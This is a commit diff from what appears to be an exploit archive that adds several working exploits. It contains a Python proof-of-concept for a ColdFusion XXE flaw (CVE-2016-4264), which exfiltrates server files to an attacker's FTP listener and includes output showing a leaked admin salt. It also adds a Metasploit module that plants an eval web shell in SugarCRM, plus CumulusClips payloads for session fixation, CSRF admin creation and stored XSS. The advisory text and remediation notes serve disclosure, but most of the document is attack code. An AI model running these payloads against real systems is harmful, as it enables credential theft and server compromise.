DB: 2016-09-08
6 new exploits Too many to list!
This commit is contained in:
parent
d36011b4f9
commit
2aa9d941de
8 changed files with 3077 additions and 1814 deletions
|
@ -1,6 +1,8 @@
|
|||
# Exploit Title: ProFTPD IAC Remote Root Exploit
|
||||
# Date: 7 November 2010
|
||||
# Author: Kingcope
|
||||
#
|
||||
# E-DB Note: If you have issues with this exploit, alter lines 549, 555 and 563.
|
||||
|
||||
use IO::Socket;
|
||||
|
||||
|
|
572
platforms/multiple/webapps/40346.py
Executable file
572
platforms/multiple/webapps/40346.py
Executable file
|
@ -0,0 +1,572 @@
|
|||
'''
|
||||
=============================================
|
||||
- Discovered by: Dawid Golunski
|
||||
- http://legalhackers.com
|
||||
- dawid (at) legalhackers.com
|
||||
|
||||
- CVE-2016-4264
|
||||
- APSB16-30
|
||||
- Release date: 31.08.2016
|
||||
- Severity: Critical
|
||||
=============================================
|
||||
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
|
||||
Adobe ColdFusion <= 11 XML External Entity (XXE) Injection
|
||||
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
|
||||
"Adobe ColdFusion 11 Enterprise Edition offers a single platform to
|
||||
rapidly build and deploy scalable, high-performing web and mobile
|
||||
applications. Leverage unique capabilities to develop, test, and debug
|
||||
mobile applications end to end. Generate high-quality PDF files and
|
||||
manipulate them easily."
|
||||
|
||||
http://www.adobe.com/products/coldfusion-family.html
|
||||
|
||||
ColdFusion is widely deployed. A google search for a ColdFusion index file
|
||||
(index.cfm) exposes over 30 million websites of various sectors that make use
|
||||
of ColdFusion platform in a visible way:
|
||||
https://www.google.com/?q=inurl:%2Findex.cfm
|
||||
including various government websites:
|
||||
https://www.google.com/search?q=inurl:index.cfm+site:gov
|
||||
|
||||
|
||||
III. INTRODUCTION
|
||||
-------------------------
|
||||
|
||||
An independent research revealed that Adobe ColdFusion in versions 11 and below
|
||||
is vulnerable to XXE Injection when processing untrusted office documents.
|
||||
|
||||
Depending on web application's functionality and the attacker's ability to
|
||||
supply a malicious document to be processed by a vulnerable ColdFusion
|
||||
application, this vulnerability may potentially be exploited by both
|
||||
low-privileged and unauthenticated remote attackers.
|
||||
|
||||
This vulnerability can allow various attacks including:
|
||||
|
||||
- reading arbitrary files (stored on the server and within the network shares)
|
||||
- listing web/system directories
|
||||
- SSRF attacks / unauthorized access to restricted services running on the localhost
|
||||
as well as within the victim's server network
|
||||
- SMB relay attacks
|
||||
- temporary file uploads which may be used by attackers in combination with LFI
|
||||
vulnerabilities to supply malicious code
|
||||
|
||||
This advisory provides a PoC exploit that demonstrates how a remote attacker
|
||||
could read arbitrary files from the target server, as well as list directories.
|
||||
|
||||
Ability to read arbitrary files could for example let attackers extract sensitive
|
||||
information such as ColdFusion password hashes of the management console or stored
|
||||
database credentials.
|
||||
This could allow unauthorized access to weakly protected ColdFusion management
|
||||
interfaces and let attackers upload malicious code which could be used to fully
|
||||
compromise the server.
|
||||
|
||||
|
||||
IV. DESCRIPTION
|
||||
-------------------------
|
||||
|
||||
The XXE vulnerability was found in the Office Open XML (OOXML) processing
|
||||
functions which are utilised when opening documents that use XML structure.
|
||||
Documents that are commonly stored in this format include:
|
||||
|
||||
- DOCX (Word documents)
|
||||
- XLSX (Excel spreadsheets)
|
||||
- PPTX (PowerPoint presentations)
|
||||
|
||||
More information about the format can be found in:
|
||||
https://en.wikipedia.org/wiki/Office_Open_XML
|
||||
|
||||
The vulnerability is caused by an unrestricted XML parser which allows
|
||||
for external XML entities processing when parsing such document.
|
||||
|
||||
Many web applications often accept OOXML documents from their users to process
|
||||
documents of various purposes, for example:
|
||||
|
||||
- invoices
|
||||
- bank statements
|
||||
- bills
|
||||
- tax forms
|
||||
- inventory
|
||||
- CVs / cover letters
|
||||
- application forms
|
||||
|
||||
etc.
|
||||
|
||||
Such upload functionality is often exposed to low-privileged or even
|
||||
unauthenticated remote users.
|
||||
|
||||
If an attacker is able to upload a specially crafted OOXML document
|
||||
which is later processed by an application written in Adobe ColdFusion,
|
||||
they may be able to perform various malicious actions including
|
||||
arbitrary file reading and directory listing as mentioned in the
|
||||
introduction.
|
||||
|
||||
This could for example be used by malicious users to read sensitive
|
||||
ColdFusion config files such as:
|
||||
|
||||
- neo-security.xml , which stores ColdFusion admin's password hash salt
|
||||
- password.properties , which stores admin's password hash
|
||||
- neo-datasource.xml , which stores database credentials
|
||||
|
||||
that are stored in c:\ColdFusion11\cfusion\lib\ directory by default on Windows
|
||||
installations.
|
||||
|
||||
Attackers might also access the application sourcecodes within the documentroot:
|
||||
|
||||
c:\ColdFusion11\cfusion\wwwroot
|
||||
|
||||
or access other sensitive system files available within the system.
|
||||
|
||||
As the vulnerability also allows browsing the filesystem and its directories,
|
||||
attackers may easily find interesting files and ColdFusion config/webroot
|
||||
directories even if the paths differ from the default ones.
|
||||
|
||||
Attackers who have gained access to password hashes could then proceed
|
||||
to cracking them in order to gain unauthorised access to the databases and
|
||||
ColdFusion administrator panels to fully compromise the target.
|
||||
|
||||
More information on hashes used by ColdFusion 11 can be found in the references
|
||||
below.
|
||||
|
||||
The next section presents a PoC exploit that can be used for file/directory
|
||||
retrieval.
|
||||
The exploit will work even if the target ColdFusion application does not return
|
||||
any data back to the attacker upon processing a malicious document file.
|
||||
The extracted data will be sent over the network back to the attacker as soon
|
||||
as the document file is processed.
|
||||
|
||||
|
||||
V. PROOF OF CONCEPT EXPLOIT
|
||||
-------------------------
|
||||
|
||||
An example vulnerable ColdFusion application written in CFML language
|
||||
which loads a spreadsheet document could look as follows:
|
||||
|
||||
|
||||
---[ vulnerable.cfm ]---
|
||||
|
||||
<cfspreadsheet format="csv" action="read" src="#expandPath( 'cf_poc_exploit.xlsx' )#" name="xlsdoc" rows="1-4" />
|
||||
|
||||
<cfoutput>#xlsdoc#</cfoutput>
|
||||
|
||||
------------------------
|
||||
|
||||
|
||||
For simplicity, this ColdFusion application will load cf_poc_exploit.xlsx
|
||||
document from the current directory.
|
||||
In a real-world situation the application would allow a user to upload a
|
||||
document from their disk or alternatively fetch it from a URL.
|
||||
|
||||
Attacker could use the exploit below to prepare a malicious document and
|
||||
supply it to a vulnerable ColdFusion application.
|
||||
|
||||
|
||||
---[ ./cf_xxe_exploit.py ]---
|
||||
'''
|
||||
|
||||
#!/usr/bin/python
|
||||
|
||||
intro = """
|
||||
(CVE-2016-4264) ColdFusion <= 11 XXE / Arbitrary File Read PoC exploit
|
||||
|
||||
This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be
|
||||
uploaded to a vulnerable ColdFusion application.
|
||||
It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080)
|
||||
in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet).
|
||||
|
||||
Discovered/Coded by:
|
||||
|
||||
Dawid Golunski
|
||||
http://legalhackers.com
|
||||
"""
|
||||
usage = """
|
||||
Usage:
|
||||
The exploit requires that you have an external IP and can start web/http listeners on ports
|
||||
8080/9090 on the attacking machine.
|
||||
|
||||
./cf_xxe_exploit.py external_IP 'path_to_fetch'
|
||||
|
||||
The example below starts an ftp listener on 192.168.1.40 (port 9090) and web server on 8080
|
||||
and fetches c:\windows\win.ini file from the target.
|
||||
|
||||
./cf_xxe_exploit.py 192.168.1.40 c:/windows/win.ini
|
||||
|
||||
The path can also be a directory to retrieve a directory listing e.g:
|
||||
|
||||
./cf_xxe_exploit.py 192.168.1.40 c:/
|
||||
|
||||
will list the contents of drive C: on Windows
|
||||
|
||||
Disclaimer:
|
||||
For testing purposes only. Do no harm.
|
||||
|
||||
Full advisory URL:
|
||||
http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt
|
||||
"""
|
||||
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import web # http://webpy.org/installation
|
||||
import threading
|
||||
import time
|
||||
|
||||
# What file to retrieve from the victim server
|
||||
target_file = "c:/ColdFusion11/cfusion/lib/pass"
|
||||
# Web server (to serve XML)
|
||||
external_ip = '192.168.57.10'
|
||||
web_port = 8080
|
||||
# File receiver
|
||||
ftp_port = 9090
|
||||
timeout=5
|
||||
|
||||
# HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection
|
||||
class webserver(threading.Thread):
|
||||
def run (self):
|
||||
urls = ('/passdata.xml', 'pass_xml')
|
||||
app = web.application(urls, globals())
|
||||
#app.run()
|
||||
return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port))
|
||||
|
||||
# Pass data to ftp server using passdata.xml
|
||||
class pass_xml:
|
||||
def GET(self):
|
||||
print xxe_send_payload
|
||||
|
||||
# HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection
|
||||
class webserver(threading.Thread):
|
||||
def run (self):
|
||||
urls = ('/passdata.xml', 'pass_xml')
|
||||
app = web.application(urls, globals())
|
||||
#app.run()
|
||||
return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port))
|
||||
|
||||
# Return helper xml/xxe payload to forward data
|
||||
class pass_xml:
|
||||
def GET(self):
|
||||
print "[+] Received GET /passdata.xml web request from the victim (%s) ! TARGET VULNERABLE to XXE !\n" % (web.ctx['ip'])
|
||||
return xxe_send_payload
|
||||
|
||||
def shutdown(code):
|
||||
print "[+] That's it folks :) Shutting down \n"
|
||||
web.httpserver.server.interrupt = KeyboardInterrupt()
|
||||
exit(code)
|
||||
|
||||
|
||||
# [ Main Meat ]
|
||||
|
||||
print intro
|
||||
redirector_started = 0
|
||||
|
||||
if len(sys.argv) < 3 :
|
||||
print usage
|
||||
sys.exit(2)
|
||||
|
||||
# Overwrite settings with parameters from argv[]
|
||||
external_ip = sys.argv[1]
|
||||
target_file = sys.argv[2]
|
||||
|
||||
print "[+] Setting external IP to '%s' and target path to '%s'\n" % (external_ip, target_file)
|
||||
|
||||
# Prepare XXE payloads
|
||||
#OOXML XXE stub
|
||||
ooxml_xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE Types [
|
||||
<!ENTITY % remote SYSTEM "http://_attackerhost_:_webport_/passdata.xml">
|
||||
%remote;
|
||||
]>
|
||||
"""
|
||||
ooxml_xxe_payload = ooxml_xxe_payload.replace("_attackerhost_", external_ip)
|
||||
ooxml_xxe_payload = ooxml_xxe_payload.replace("_webport_", str(web_port))
|
||||
|
||||
# passdata.xml
|
||||
xxe_send_payload = """<!ENTITY % file1 SYSTEM "file:///_filepath_">
|
||||
<!ENTITY % param1 '<!ENTITY % retrfile1 SYSTEM "ftp://cfhack:PoCexploit@_attackerhost_:_ftpport_/%file1;" >' >
|
||||
%param1;
|
||||
%retrfile1; """
|
||||
xxe_send_payload = xxe_send_payload.replace("_filepath_", target_file)
|
||||
xxe_send_payload = xxe_send_payload.replace("_attackerhost_", external_ip)
|
||||
xxe_send_payload = xxe_send_payload.replace("_ftpport_", str(ftp_port))
|
||||
|
||||
# Create OXML spreadsheet file cf_poc_spreadsheet.xlsx with XXE payload
|
||||
f = open("[Content_Types].xml", "w")
|
||||
f.write(ooxml_xxe_payload )
|
||||
f.close()
|
||||
cmd = "zip -r cf_poc_spreadsheet.xlsx '[Content_Types].xml' && rm -f '[Content_Types].xml'"
|
||||
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
(result, error) = process.communicate()
|
||||
rc = process.wait()
|
||||
if rc != 0:
|
||||
print "Error: failed to execute command:", cmd
|
||||
print error
|
||||
shutdown(3)
|
||||
|
||||
print "[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file\n"
|
||||
print "[+] Starting our web server to serve XML on %s:%s \n" % (external_ip, web_port)
|
||||
webserver().start()
|
||||
time.sleep(1)
|
||||
|
||||
print '\n[+] Starting FTP/data listener and waiting for connection on %s:%d\n' % (external_ip, ftp_port)
|
||||
s = socket.socket() # Create/bind socket
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
s.bind((external_ip, ftp_port))
|
||||
|
||||
print "[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...\n"
|
||||
|
||||
s.listen(5) # Wait for the victim to connect
|
||||
c, addr = s.accept() # Establish connection with the victim
|
||||
print '\n[+] Got a connection from ', addr, " to our FTP/data server. Meaning juicy data is on the way! :)\n"
|
||||
c.send("220 Welcome to ColdFusion XXE PoC exploit server\n")
|
||||
|
||||
print '[+] Receiving data from the victim...\n'
|
||||
|
||||
downloaded = ""
|
||||
|
||||
while True:
|
||||
data = ""
|
||||
c.settimeout(timeout)
|
||||
try:
|
||||
data = c.recv(1024)
|
||||
except socket.timeout:
|
||||
print "Timeout ! No more data\n"
|
||||
break
|
||||
|
||||
# extract data
|
||||
if data.startswith("CWD "):
|
||||
downloaded = downloaded + data[4:]
|
||||
if data.startswith("RETR "):
|
||||
downloaded = downloaded + data[5:]
|
||||
|
||||
print "Received packet: " + data
|
||||
#sys.stdout.write('.')
|
||||
#sys.stdout.flush()
|
||||
|
||||
if "USER" in data:
|
||||
c.send("331 password needed\n")
|
||||
elif "RETR" in data:
|
||||
c.send("550 No such file or directory.\n")
|
||||
break
|
||||
else:
|
||||
c.send('230 continue\n')
|
||||
|
||||
# Results
|
||||
print "\n\n[+] Here's the retrieved contents of the target file/directory (%s) : \n\n%s\n" % (target_file, downloaded)
|
||||
|
||||
# shutdown
|
||||
c.close() # Close the connection
|
||||
s.shutdown(0)
|
||||
s.close()
|
||||
shutdown(0)
|
||||
|
||||
'''
|
||||
-------------[eof]-----------
|
||||
|
||||
|
||||
You can see the exploit in action in a PoC video at:
|
||||
|
||||
http://legalhackers.com/videos/ColdFusion-XXE-PoC-Exploit
|
||||
|
||||
There are also two examples below:
|
||||
|
||||
|
||||
A) Reading c:/ColdFusion11/cfusion/lib/neo-security.xml file which contains admin hash salt:
|
||||
|
||||
|
||||
root@trusty:~/exploit# ./cf_xxe_exploit.py 192.168.57.10 c:/ColdFusion11/cfusion/lib/neo-security.xml
|
||||
|
||||
(CVE-2016-4264) ColdFusion <= 11 XXE / Arbitrary File Read PoC exploit
|
||||
|
||||
This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be
|
||||
uploaded to a vulnerable ColdFusion application.
|
||||
It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080)
|
||||
in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet).
|
||||
|
||||
Discovered/Coded by:
|
||||
|
||||
Dawid Golunski
|
||||
http://legalhackers.com
|
||||
|
||||
[+] Setting external IP to '192.168.57.10' and target path to 'c:/ColdFusion11/cfusion/lib/neo-security.xml'
|
||||
|
||||
[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file
|
||||
|
||||
[+] Starting our web server to serve XML on 192.168.57.10:8080
|
||||
|
||||
http://0.0.0.0:8080/
|
||||
|
||||
[+] Starting FTP/data listener and waiting for connection on 192.168.57.10:9090
|
||||
|
||||
[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...
|
||||
|
||||
[+] Received GET /passdata.xml web request from the victim (192.168.57.21) ! TARGET VULNERABLE to XXE !
|
||||
|
||||
192.168.57.21:57219 - - [31/Aug/2016 20:12:06] "HTTP/1.1 GET /passdata.xml" - 200 OK
|
||||
|
||||
[+] Got a connection from ('192.168.57.21', 57220) to our FTP/data server. Meaning juicy data is on the way! :)
|
||||
|
||||
[+] Receiving data from the victim...
|
||||
|
||||
Received packet: USER cfhack
|
||||
Received packet: PASS PoCexploit
|
||||
Received packet: TYPE I
|
||||
Received packet: CWD <wddxPacket version='1.0'><header
|
||||
[cut]
|
||||
|
||||
[+] Here's the retrieved contents of the target file/directory (c:/ColdFusion11/cfusion/lib/neo-security.xml) :
|
||||
|
||||
<wddxPacket version='1.0'><header
|
||||
[cut]
|
||||
struct><
|
||||
var><var name='admin.userid.root.salt'><string>A54B28011C6AC37F4D65B7D608D40722DAD6CDF25A943C809492637D2CC6265F<
|
||||
string><
|
||||
var><var name='rds.enabled'><string>false<
|
||||
[cut]
|
||||
|
||||
|
||||
[+] That's it folks :) Shutting down
|
||||
|
||||
|
||||
~~~~~~~~~~~~
|
||||
|
||||
|
||||
B) Listing the contents of the c:/ColdFusion11/ directory:
|
||||
|
||||
|
||||
root@trusty:~/exploit# ./cf_xxe_exploit.py 192.168.57.10 c:/ColdFusion11/
|
||||
|
||||
[cut]
|
||||
[+] Setting external IP to '192.168.57.10' and target path to 'c:/ColdFusion11/'
|
||||
|
||||
[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file
|
||||
|
||||
[+] Starting our web server to serve XML on 192.168.57.10:8080
|
||||
|
||||
http://0.0.0.0:8080/
|
||||
|
||||
[+] Starting FTP/data listener and waiting for connection on 192.168.57.10:9090
|
||||
|
||||
[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...
|
||||
|
||||
[+] Received GET /passdata.xml web request from the victim (192.168.57.21) ! TARGET VULNERABLE to XXE !
|
||||
|
||||
192.168.57.21:57245 - - [31/Aug/2016 20:14:06] "HTTP/1.1 GET /passdata.xml" - 200 OK
|
||||
|
||||
[+] Got a connection from ('192.168.57.21', 57246) to our FTP/data server. Meaning juicy data is on the way! :)
|
||||
|
||||
[+] Receiving data from the victim...
|
||||
|
||||
Received packet: USER cfhack
|
||||
|
||||
Received packet: RETR Adobe_ColdFusion_11_Install_08_30_2016_19_59_04.log
|
||||
cf_app.ico
|
||||
|
||||
[cut]
|
||||
|
||||
[+] Here's the retrieved contents of the target file/directory (c:/ColdFusion11/) :
|
||||
|
||||
Adobe_ColdFusion_11_Install_08_30_2016_19_59_04.log
|
||||
cf_app.ico
|
||||
cfusion
|
||||
config
|
||||
jre
|
||||
license.html
|
||||
Readme.htm
|
||||
uninstall
|
||||
|
||||
|
||||
[+] That's it folks :) Shutting down
|
||||
|
||||
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
||||
The vulnerability can be abused by low-privileged or unauthenticated remote
|
||||
attackers depending on application's functionality and lead to sensitive
|
||||
information disclosure. It can allow attackers to read arbitrary files or
|
||||
expose internal services running on the server and within the local network.
|
||||
|
||||
Attackers could for example read stored password hashes or database credentials
|
||||
which may aid attackers with gaining access to ColdFusion admin interface.
|
||||
Extracting application sourcecodes could also be of use to attackers and help
|
||||
them to find other vulnerabilities to fully compromise an affected target.
|
||||
|
||||
|
||||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
ColdFusion installations before:
|
||||
|
||||
- ColdFusion 11 Update 10
|
||||
- ColdFusion 10 Update 21
|
||||
|
||||
are affected by this vulnerability.
|
||||
|
||||
|
||||
VIII. SOLUTION
|
||||
-------------------------
|
||||
|
||||
Update to ColdFusion 11 Update 10 which include critical hotfixes released by
|
||||
the vendor upon initial private disclosure to Adobe. Alternatively users can
|
||||
upgrade their installation to ColdFusion 2016 which is not affected.
|
||||
|
||||
The vulnerability fix/advisory has been assigned APSB16-30 id by Adobe.
|
||||
|
||||
Links to the critical Adobe hotfix patches can be found in the references below.
|
||||
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
||||
http://legalhackers.com
|
||||
http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt
|
||||
http://legalhackers.com/exploits/cf_xxe_exploit_CVE-2016-4264.py
|
||||
|
||||
PoC exploit video:
|
||||
http://legalhackers.com/videos/ColdFusion-XXE-PoC-Exploit
|
||||
|
||||
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-4264
|
||||
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4264
|
||||
|
||||
Adobe ColdFusion critical hotfix/vuln announcement:
|
||||
https://helpx.adobe.com/security/products/coldfusion/apsb16-30.html
|
||||
|
||||
Info on ColdFusion configs and used hashes:
|
||||
http://www.openwall.com/lists/john-users/2015/06/07/1
|
||||
https://helpx.adobe.com/coldfusion/kb/purpose-location-xml-configuration-files.html
|
||||
https://blogs.adobe.com/psirt/?p=1395
|
||||
|
||||
http://www.slideshare.net/chrisgates/coldfusion-for-penetration-testers
|
||||
|
||||
Lockdown guides:
|
||||
http://www.adobe.com/content/dam/Adobe/en/products/coldfusion/pdfs/cf11/cf11-lockdown-guide.pdf
|
||||
|
||||
|
||||
X. CREDITS
|
||||
-------------------------
|
||||
|
||||
The vulnerability has been discovered by Dawid Golunski
|
||||
|
||||
dawid (at) legalhackers (dot) com
|
||||
http://legalhackers.com
|
||||
|
||||
XI. REVISION HISTORY
|
||||
-------------------------
|
||||
|
||||
31.08.2016 - advisory released
|
||||
01.09.2016 - corrections applied
|
||||
07.09.2016 - added PoC video
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
||||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
'''
|
89
platforms/php/remote/40344.rb
Executable file
89
platforms/php/remote/40344.rb
Executable file
|
@ -0,0 +1,89 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SugarCRM REST Unserialize PHP Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
|
||||
which could be abused to allow unauthenticated users to execute arbitrary PHP code with
|
||||
the permissions of the webserver. The dangerous unserialize() call exists in the
|
||||
'/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
|
||||
method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
|
||||
},
|
||||
'Author' => 'EgiX',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://karmainsecurity.com/KIS-2016-07'],
|
||||
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
|
||||
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
|
||||
['URL', 'https://bugs.php.net/bug.php?id=72663']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 23 2016'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'
|
||||
|
||||
payload_serialized = "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";"
|
||||
payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00"
|
||||
payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55"
|
||||
payload_serialized << ":\"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>\";}}"
|
||||
|
||||
print_status("#{peer} - Exploiting the unserialize() to upload PHP code")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'method' => 'login',
|
||||
'input_type' => 'Serialize',
|
||||
'rest_data' => payload_serialized
|
||||
}
|
||||
})
|
||||
|
||||
if not res or res.code != 200
|
||||
print_error("#{peer} - Exploit failed: #{res.code}")
|
||||
return
|
||||
end
|
||||
|
||||
register_files_for_cleanup(File.basename(upload_php))
|
||||
|
||||
print_status("#{peer} - Executing the payload #{upload_php}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, upload_php),
|
||||
'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
|
||||
})
|
||||
|
||||
if res and res.code != 200
|
||||
print_error("#{peer} - Payload execution failed: #{res.code}")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
156
platforms/php/webapps/40343.txt
Executable file
156
platforms/php/webapps/40343.txt
Executable file
|
@ -0,0 +1,156 @@
|
|||
# Exploit Title: CumulusClips Session fixation
|
||||
# Google Dork: inurl:/cumulusclips/videos/
|
||||
# Date: 2.09.2016
|
||||
# Exploit Author: kor3k / Łukasz Korczyk
|
||||
# Vendor Homepage: http://cumulusclips.org/
|
||||
# Software Link: http://cumulusclips.org/cumulusclips.zip
|
||||
# Version: 2.4.1
|
||||
# Tested on: Debian Jessie
|
||||
|
||||
|
||||
Description:
|
||||
CumulusClips is a video sharing script that allows you to start your own
|
||||
video website.
|
||||
CumulusClips video sharing script produces HTML5 video compatible on iOS &
|
||||
Android mobile devices, as well as all the major browsers.
|
||||
|
||||
|
||||
PoC:
|
||||
|
||||
POST /cumulusclips/account/videos/edit/1362/ HTTP/1.1
|
||||
Host: 192.168.122.203
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
|
||||
Firefox/45.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Referer: http://192.168.122.203/cumulusclips/account/videos/edit/1362/
|
||||
Cookie: PHPSESSID=bqaok1gfcs0s7hqfc40g2bsbr1
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 211
|
||||
|
||||
title=evilcartoon%3Cscript%3Edocument.cookie%3D%27PHPSESSID%
|
||||
3Dxxxxxxxxxxxxxxxxxxxxxxxxxx%3Bpath%3D%2F%3B%27%3C%
|
||||
2Fscript%3E&tags=aaa&cat_id=1&description=aaa&private_url=
|
||||
BOZtzZX&submitted=TRUE&button=Update+Video
|
||||
|
||||
Remediation:
|
||||
Change session id after sucessful login
|
||||
|
||||
Post exploitation:
|
||||
Since it is posible to impersonate admin there is possibility for a code
|
||||
execution and unrestricted file upload in admin panel.
|
||||
|
||||
#######################################################
|
||||
|
||||
# Exploit Title: CumulusClips XSRF and code execution
|
||||
# Google Dork: inurl:/cumulusclips/videos/
|
||||
# Date: 2.09.2016
|
||||
# Exploit Author: kor3k / Łukasz Korczyk
|
||||
# Vendor Homepage: http://cumulusclips.org/
|
||||
# Software Link: http://cumulusclips.org/cumulusclips.zip
|
||||
# Version: 2.4.1
|
||||
# Tested on: Debian Jessie
|
||||
# CVE : [if applicable]
|
||||
|
||||
Description:
|
||||
CumulusClips is a video sharing script that allows you to start your own video website.
|
||||
CumulusClips video sharing script produces HTML5 video compatible on iOS & Android mobile devices, as well as all the major browsers.
|
||||
|
||||
|
||||
PoC:
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://192.168.122.203/cumulusclips/cc-admin/members_add.php" method="POST">
|
||||
<input type="hidden" name="role" value="admin" />
|
||||
<input type="hidden" name="email" value="admin@mailinator.com" />
|
||||
<input type="hidden" name="username" value="newadmin" />
|
||||
<input type="hidden" name="password" value="newadminpass" />
|
||||
<input type="hidden" name="password-show" value="" />
|
||||
<input type="hidden" name="first_name" value="" />
|
||||
<input type="hidden" name="last_name" value="" />
|
||||
<input type="hidden" name="website" value="" />
|
||||
<input type="hidden" name="about_me" value="" />
|
||||
<input type="hidden" name="submitted" value="TRUE" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
Remediation:
|
||||
Use anti-csrf token, fix all XSS'es
|
||||
|
||||
#######################################################
|
||||
|
||||
|
||||
# Exploit Title: CumulusClips Persistent XSS
|
||||
# Google Dork: inurl:/cumulusclips/videos/
|
||||
# Date: 2.09.2016
|
||||
# Exploit Author: kor3k / Łukasz Korczyk
|
||||
# Vendor Homepage: http://cumulusclips.org/
|
||||
# Software Link: http://cumulusclips.org/cumulusclips.zip
|
||||
# Version: 2.4.1
|
||||
# Tested on: Debian Jessie
|
||||
# CVE : [if applicable]
|
||||
|
||||
Description:
|
||||
CumulusClips is a video sharing script that allows you to start your own video website.
|
||||
CumulusClips video sharing script produces HTML5 video compatible on iOS & Android mobile devices, as well as all the major browsers.
|
||||
|
||||
Any registered user may inject a code to main site. There is no HTTPonly flag on cookies so it is possible to steal session information.
|
||||
|
||||
PoC:
|
||||
|
||||
locations:
|
||||
/cumulusclips/account/videos/edit/
|
||||
/cumulusclips/account/upload/video/
|
||||
|
||||
|
||||
|
||||
|
||||
POST /cumulusclips/account/videos/edit/1358/ HTTP/1.1
|
||||
Host: 192.168.122.203
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Referer: http://192.168.122.203/cumulusclips/account/videos/edit/1358/
|
||||
